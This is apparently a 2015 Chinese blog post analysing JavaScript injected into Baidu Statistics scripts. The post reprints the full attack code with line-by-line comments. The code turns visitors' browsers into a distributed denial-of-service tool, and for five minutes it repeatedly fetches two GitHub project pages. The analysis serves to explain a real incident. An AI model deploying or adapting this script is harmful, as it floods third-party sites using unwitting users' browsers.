分析百度统计被劫持的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
//记录攻击开始的时间
var count = 0;

function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
// 攻击的两个地址
NUM = url_array.length;
//获取

function r_send2() {
var a = unixtime() % NUM;
//取余,决定攻击地址一还是二
get(url_array[a])
//get函数,在下面
}

function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
//超时设定为10S
cache: !0,
//禁用缓存
beforeSend: function() {
requestTime = (new Date).getTime()
//发送请求之前,记录请求时间
},
complete: function() {
responseTime = (new Date).getTime();
//接收回复之后,记录时间
b = Math.floor(responseTime - requestTime);
//计算出一次请求的时间
3E5 > responseTime - startime && (r_send(b), count += 1)
//直到五分钟后停止攻击,进行攻击,记录攻击次数。
})
}

function r_send(a) {
//攻击效果最大化,攻击间隔为上一次请求完成的时间
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

分析百度统计被劫持的js代码

https://blog.zscself.com/posts/d56bc1ed/

作者

F!redent

发布于

2015-05-25

更新于

2024-01-30

许可协议

CC BY-NC-SA 4.0

评论